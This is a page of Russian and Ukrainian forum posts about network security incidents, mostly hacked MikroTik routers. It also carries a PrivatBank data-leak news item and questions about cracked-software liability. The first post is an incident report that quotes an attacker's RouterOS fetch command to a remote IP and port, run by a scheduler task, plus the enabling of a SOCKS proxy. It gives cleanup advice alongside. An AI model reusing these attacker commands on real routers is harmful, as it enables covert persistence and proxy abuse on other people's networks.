Пошук по сайту

Без лишних подробностей. ссыль Очередной раз через уязвимость winbox на одной из последних прошивках 6.41.3 якобы безопасных был взломан микротик на раз-два! Суть проблемы — вход злоумышленника через winbox с ip 95.154.216.160 абсолютно без проблем, в моём случае 2 неудачных попытки входа и 3-й успешный вход под второй учёткой со сложным паролем нигде не засвеченным. Под этим логином не входили никогда, создана учётка про запас на случай потери основного пароля. Далее после входа злоумышленник на микротике: 1. Создаёт скрипт script1_ /tool fetch address=95.154.216.160 port=2008 src-path=/mikrotik.php mode=http 2. Создаёт в планировщике задание каждые 30 секунд выполнять скрипт script1_ 3. Включает IP-> Socks /ip socks> print enabled: yes port: 4145 connection-idle-timeout: 2m max-connections: 200 Самое интересное то, что файл mikrotik.php пустой, либо это значит что это только предупреждение об уязвимости, либо всётаки конфиг ушёл в английское королевство. Пока непонятно как такое могло быть?! Что делать ели Ваш микротик взломан таким образом? Надо изначально было не давать доступ к winbox из внешней сети, разрешить только с определённых айпи. Удалить скрипт и задание планировщика. Выключить носки) Ip->Socks Менять пароли Шиться новой прошивкой, но не факт что она уже есть с фиксом)

Доброго дня. Хотів би обговорити юридичні наслідки встановлення неліцензійного програмного забезпечення. Наприклад, прийшов я до людини, встановив Вінду, крекнув її, встановив якийсь набір програм, серед яких може бути Майкрософт офіс, Фотошоп та інші платні популярні програми... І тут мене ловлять за руку, кажуть що все, я попав. Які реальні мої права і яку потенційно можливу юридичну відповідальність я можу понести? Як попередньо убезпечити себе? Попередньо дякую.

Утечка данных якобы произошла 12 сентября. Иллюстрация REUTERS Сервера ПриватБанка взломаны, а личные данные клиентов — ушли в Россию, сообщает sprotyv.info со ссылкой на «Vse.Media». В распоряжение сайта попали скрин-шоты внутренней переписки сотрудников департамента ИТ-безопасности ПриватБанка. В своем чате они обсуждают взлом серверов банка и выкачку оттуда данных о клиентах на внешние сервера. Утечка данных произошла 12 сентября. Первые данные о ней сотрудиники ИТ-безопаности фиксируют в 8:42, и почти полтора часа не могут принять решение о прерывании копирования информации, так как на связи нет руководства. В 10:09 один из сотрудников ПриватБанка пишет коллегам, что в скачиваемом файле видны даты рождения, номера телефонов и «еще куча непонятной информации». Тогда же ИТ-шники фиксируют, что данные уходят на сервера, зарегистрированные в России. Их руководитель появляется на связи только к 10:29 по киевскому времени — и только тогда дает указание «обрубить копирование», но к этому моменту все файлы уже скопированы и выведены из банка. Подробности читайте на УНИАН: https://economics.unian.net/finance/2267726-v-sentyabre-byili-vzlomanyi-serveryi-odnogo-iz-ukrainskih-bankov-smi.html

Нус, коллеги признавайтесь, кого сегодня грохнуло? Позиция убнт на форуме особо порадовала)

Всім доброго часу доби) Потрібна порада. на одному ящику 3Ю заклинив замок. Ключ хрестовий, стандартний. Що робити? не хочеться через то ящик міняти, але і варіантів особливо не бачу. Єдиний адекватний - спробувати віддерти його від стіни і вирізати в задній частині отвір, потім замінити замок і знову його присобачити на стіну. Хто що порадить? Розумію, що питання делікатне, тому з пропозиціями як краще взламувати ящик БК-550-3Ю бажано в приват. Наперед всім вдячний за підказки!

Доброго времени суток коллеги. Такая проблема случилось... Взломали сеть - положили биллинг и микротик основной. Также сдохло железо (программно) все что касается оборудования микротик и юбикюти. Восстанавливаем уже третьи сутки. Вопрос: Как дальше обезопасить сеть? Какое железо и ПО преобрести чтобы упредить данные неприятные инсинуации. Офтоп... просьба не поддергивать и не писать нелепые сообщения, попросту помочь советом. Заранее спасибо.

Всем привет, ситуация смешная, но не очень. Посмотрел в логах своего микротика, и что обнаружил. Кто-то хочет его взломать, Сначала по вебморде, сейчас по телнету. Что с ним сделать?